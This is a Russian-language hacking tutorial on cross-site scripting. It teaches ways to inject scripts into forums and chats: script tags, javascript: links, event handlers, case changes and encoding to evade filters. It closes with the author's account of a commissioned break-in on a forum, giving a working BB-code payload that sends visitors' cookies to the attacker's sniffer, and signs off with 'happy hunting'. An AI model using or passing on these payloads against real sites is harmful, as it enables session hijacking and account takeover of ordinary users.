Сейчас по всему интернету можно встретить большое количество разнообразных форумов, гостевых книг, чатов, сайтов и других средств, созданных для нашего с вами общения. На всех этих сайтах можно выделить одну особенность — вы можете изменять их содержание и эти изменения, понятное дело, контролируются админами этих сайтов: фильтруются неугодные символы и все такое. Но иногда возникает момент, когда эти изменения выходят из под контроля. Тогда можно провести все, что угодно: php-инклудинг, SQL-инъекция и, тема этой статьи — XSS атаки. XSS расшифровывается ка Crossing Site Scripting. Он же межсайтовый скриптинг. Абривиатура могла бы быть CSS, но это уже забито Caskading Style Sheets — стилем. О нем позже Вся суть этой атаки заключается в том, что вы внедряете свой скрипт в чужую страницу, а этот скрипт уже работает на вас: крадет чужие куки, заставляет окно закрываться, в скрипт вмонтируется какой-нибудь сплоит и т. д. Теперь вся проблема заключается в том, КАК вставить свой скрипт в чужую страницу. Я опишу все известные мне методы, подразделив их на группы. BB-XSS. Вы наверное часто замечаете, что форумы, чаты и etc почти всегда дают своим пользователям возможность использовать различные виды начертаний, шрифта, цвета применительно к тексту, вставка картинок, смайликов и т.д. В реализации этого не последнюю роль играет использование кодов BB: выражений в квадратных скобках, которые при парсинге станун тегами. Например, перейдет в <b> в <i> и т.д. Не разрешать же юзерам внедрять в страницу какой не попадя код? Пусть обходяться BB кодами... Итак, нам надо вставить скрипт. Первое, что вообще надо учитывать, это какие символы и в каком месте фильтруются. Нам может понадобиться один или несколько следующих символов:' ' < > ( ) " ; - ! + = & { }` Поэтому просто вставляем это в тело страницы и смотрим, что фильтруется, а что нет. Учитываем небольшую особенность, что в BB тегах оно может фильтроваться, а вне нет. Но это можно обойти. Если чего-то не достает и упорно фильтруется, то это остается одно — закодировать. Пара слов о кодировке. Особенность парсинга текста в браузерах заключается в том, что расшифровка символов происходит до выполнения скрипта. Это значит например, что<IMG SRC=javascript:alert("XSS"> перейдет в <IMG SRC=javascript:alert("XSS")>, а затем выполнится. Закодировть эти символы с текстовыми метками можно: " " двойная кавычка & & амперсанд < < знак 'меньше' > > знак 'больше' Давайте с вами разберемся, какими способами мы вообще можем вставлять скрипты в тело страницы. Непосредственно <script>alert('lol');</script> Эта возможность выпадает редко и в основном в какой-нибудь личной информации пользователя, полях, который не редактируются с тектовых полей, но значения которых можно изменить в post или get запросе: например принудительно перехватить и послать на сервер подделанный пакет: допустим передается в пакете имя скажем цвета (red) мы можем переделать его в red'" >, тестируя таким образом на символы. Если что-то сработает и не отфильтруется, xss обеспечена. это может принять форму <tgname ***'red'"><script>... в тег тоже можно так залезть, выходя из кавычек. О подделке пакетов смотрите другие разделы. Чтобы избежать фильтрации, можно изменить регистр <sCript> Через ссылку на скрипт посредством javascript: или vbscript: <*** src(href,url)="javascript:alert('lol')"> <META HTTP-EQUIV="Refresh" CONTENT=3; URL=javascript:alert('lol')"> здесь, если название тега будет img/image, iframe, то скрипт выполниться сразу, поскольку браузер попытается подгрузить ее содержимое и наткнется на наш скрипт. Если это будет ссылка, то браузер будет ждать, пока пользователь нажмет ее. То же со стилем: <*** style=backround:url("javascript:alert('lol'")>; это метод плох тем, что javascript: фильтруется и сложно найти лазейку в скрипте фильтрации, которая оставит javascrip: Через события. В DHTML существует события, которые запускают скрипты. например событие onload применяется при загрузке картинок, фреймов, окон. <img src=images/smile.gif onload=alert('lol')> Не оставлю незамеченными такие события как onerror="при возникновении ошибки"; onmouseover="при наведении курсора мышки"; onmouseout="при убратии курсора с объекта"; Остановлю ваше внимание на событии onerror удобно дать какой-нибудь картинке одрес, который никуда не ведет, что повлечет ошибку и выполнение скрипта <img/image src="images/smile.gifadalshexss"onerror=alert('lol')> через url браузера. Иногда случается, что код, который отображается в URL, становиться частью страницы. Тогда мы пишем этот код в урл, предварительно замаскировав его. Понятно, что это нада искать. Somesite.dn/forum/?somevar=<script>alert('lol')</script> Somesite.dn/forum/?somevar=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2 8%27%6C%6F%6C%27%29%3C%2F%73%63%72%69%70%74%3E Похоже это все, а теперь перейдем к частностям. В частности наличие xss-уязвимости позволяет тащить куки с сайта, а затем вставлять себе и становиться теми, у кого эти куки были взяты. Если уязвимость межскриптовая, то должны быть наш скрипт на сайте и еще прога, которая ловит то, что мы взяли. Например посредством GET-запроса. С чужого сайта приходит запрос типа netch.ru/**/pass=123&login=chel у нас находится скрипт, который ловит этот запрос и записывает в лог. А теперь небольшой пример с icon board. Взлом этот начался с заказа, поэтому подробности не раскрываются. Сначала я попробовал javascript:, но скрипт предупредил меня о серьезных намерениях рассказать все админу. Тогда я начал химичить с подстановкой одного тега в другой и понял, что внутри тега тег [color] не фильтруется. Отлично. Идем дальше. Пробуем вставить событие. После названия цвета. Но гадина не восприимала пробелы и выводила все, как обычный текст. Можно было поставить /, но я решил попробовать напрямую. И не пожалел. [COLOR=onerror='alert(1)']y' работает. Все. Остается тока добавить снифер и собрать сплоит. Но почему адреса с точками упорно не принимались. Тогда я просто воспользовался тулзой по перекодеровке и все заработало [COLOR=onerror='a=String.fromCharCode(108,111,108); alert(a)']y' Теперь все готово и мы собираем сполит [COLOR=onerror='img=new/**/Image();a=String.fromCharCode(а,д,р,е,с,,с,н,и,ф,е ,р,а,_,с,o,d,e,d);img.src=a+document.cookie']y' И ждем теперь куков. Вроде бы и все и.. удачной охоты.